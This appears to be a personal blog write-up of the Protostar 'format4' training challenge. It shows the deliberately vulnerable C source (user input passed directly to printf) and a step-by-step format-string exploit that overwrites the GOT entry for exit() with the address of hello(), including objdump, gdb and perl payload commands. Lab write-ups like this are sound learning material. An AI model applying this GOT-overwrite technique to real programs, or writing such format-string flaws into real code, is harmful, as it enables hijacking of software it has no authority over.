It starts out with the following code:
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void hello() { printf("code execution redirected! you win\n"); _exit(1); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); exit(1); } int main(int argc, char **argv) { vuln(); }What initially caught my eye was the fact that there was a call to "exit()" as well as "_exit()". This made me think back to my reading, and I realized it was going to be a GOT (Global Offset Table) overwrite on "exit()". When the program runs for the first time, the GOT is initialized to 0x00000000 for every external function, such as libc functions. The first time it runs that function, it will cache the memory address in the GOT, so that it doesn't have to ask libc, or the corresponding library each time. If we overwrite the GOT value, we can make it execute arbitrary code instead of that original function. In this case, our victim is "exit()".
For this exploit to work, we will need a few things:
- Memory address of "exit()" in the GOT, which we want to overwrite
- Memory address of "hello()", which will be the data we overwrite the GOT with
- Stack offset for the format string
- The amount of characters to buffer for each byte-pair
Getting the memory address of the "exit()" method in the GOT is fairly easy:
user@protostar:/opt/protostar/bin$ objdump -R format4 format4: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080496fc R_386_GLOB_DAT __gmon_start__ 08049730 R_386_COPY stdin 0804970c R_386_JUMP_SLOT __gmon_start__ 08049710 R_386_JUMP_SLOT fgets 08049714 R_386_JUMP_SLOT __libc_start_main 08049718 R_386_JUMP_SLOT _exit 0804971c R_386_JUMP_SLOT printf 08049720 R_386_JUMP_SLOT puts 08049724 R_386_JUMP_SLOT exitGetting the memory address of "hello()" is quite similar:
user@protostar:/opt/protostar/bin$ objdump -t format4 | grep hello 080484b4 g F .text 0000001e helloTo get the stack offset of the format string, it's quite simple. We've done it in prior challenges. Let's just spam "%x":
user@protostar:/opt/protostar/bin$ echo AAAAAAAA`perl -e 'print "%x."x15'` | ./format4 AAAAAAAA200.b7fd8420.bffff624.41414141.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.From this, we can now see "41414141" in the 4th stack variable, so our offset is 4.
Using that offset of 4, we can now generate a format string using Direct Parameter Access, which I've only slightly mentioned in previous posts (see: format2, format3. I chose to dump the string to a file, because it made it really easy to use with gdb.
user@protostar:/opt/protostar/bin$ perl -e 'print "\x24\x97\x04\x08"."\x25\x97\x04\x08"."\x26\x97\x04\x08"."\x27\x97\x04\x08"."%4\$n"' > /home/user/format4_dpaNext, if we run it in gdb, we can see how many characters are being written to "printf" initially, and adjust our buffering to compensate. Start up the gdb debugger, and disassemble the "vuln" function. We do this, so we can set a breakpoint right before "exit()" gets called.
user@protostar:/opt/protostar/bin$ gdb --quiet ./format4 Reading symbols from /opt/protostar/bin/format4...done. (gdb) disassemble vuln Dump of assembler code for function vuln: 0x080484d2 <vuln+0>: push %ebp 0x080484d3 <vuln+1>: mov %esp,%ebp 0x080484d5 <vuln+3>: sub $0x218,%esp 0x080484db <vuln+9>: mov 0x8049730,%eax 0x080484e0 <vuln+14>: mov %eax,0x8(%esp) 0x080484e4 <vuln+18>: movl $0x200,0x4(%esp) 0x080484ec <vuln+26>: lea -0x208(%ebp),%eax 0x080484f2 <vuln+32>: mov %eax,(%esp) 0x080484f5 <vuln+35>: call 0x804839cAfter the breakpoint has been set, go ahead and run the program, piping in the formatstring from the file we created earlier:0x080484fa <vuln+40>: lea -0x208(%ebp),%eax 0x08048500 <vuln+46>: mov %eax,(%esp) 0x08048503 <vuln+49>: call 0x80483cc 0x08048508 <vuln+54>: movl $0x1,(%esp) 0x0804850f <vuln+61>: call 0x80483ec End of assembler dump. (gdb) b *vuln+61 Breakpoint 1 at 0x804850f: file format4/format4.c, line 22.
(gdb) run < /home/user/format4_dpa Starting program: /opt/protostar/bin/format4 < /home/user/format4_dpa Breakpoint 1, 0x0804850f in vuln () at format4/format4.c:22 22 format4/format4.c: No such file or directory. in format4/format4.cWhat we need to do, is examine the address of the GOT space for the "exit()" method, and now see what was set.
(gdb) x/1x 0x08049724 0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x00000010Good, so far we know:
- GOT address to overwrite: 0x8049724
- Value to overwrite it with: 0x080484b4
We can use this data to now calculate all of the individual buffer sizes needed to get the right number of characters output by "printf". This little trick was learned from reading Hacking: The Art of Exploitation, 2nd Edition
user@protostar:/opt/protostar/bin$ gdb -q (gdb) p 0xb4 - 0x00000010 $1 = 164 (gdb) p 0x84 - 0xb4 $2 = -48 (gdb) p 0x184 - 0xb4 $3 = 208 (gdb) p 0x04 - 0x84 $4 = -128 (gdb) p 0x104 - 0x84 $5 = 128 (gdb) p 0x08 - 0x04 $6 = 4 (gdb) p 0x108 - 0x04 $7 = 260To explain this, you take the address you want to overwrite with (0x080484b4 in our case) and split it up into the byte pairs in little endian order (b4, 84, 08, 08). Starting with the first one (b4), you subtract the base number we saw get written before (0x00000010), and that will give us the first buffer length of 164. For the second one, take the 2nd byte pair (84) and subtract the first byte pair (b4). In this case, we went negative, so we add a "1" in the most significant digit of the first number, making ours "184". We then subtract again, and get 208. You do this for all 4 pairs, and you get your offsets of 164, 208, 128, 260.
Now that we have our buffer sizes, let's construct the format string with them:
user@protostar:/opt/protostar/bin$ perl -e 'print "\x24\x97\x04\x08"."\x25\x97\x04\x08"."\x26\x97\x04\x08"."\x27\x97\x04\x08"."%164x%4\$n"."%208x%5\$n"."%128x%6\$n"."%260x%7\$n"' > /home/user/format4_dpaLastly, we run the format4 program with the format4_dpa file as the input:
user@protostar:/opt/protostar/bin$ ./format4 < /home/user/format4_dpa $%&' 200 b7fd8420 bffff624 8049724code execution redirected! you winAnd that's a win!
I learned a lot of things in this section of the Protostar challenge. I had almost no experience with format string exploitation, but now I'm feeling pretty comfortable with them. We'll have to see about the Final 1 level.
No comments:
Post a Comment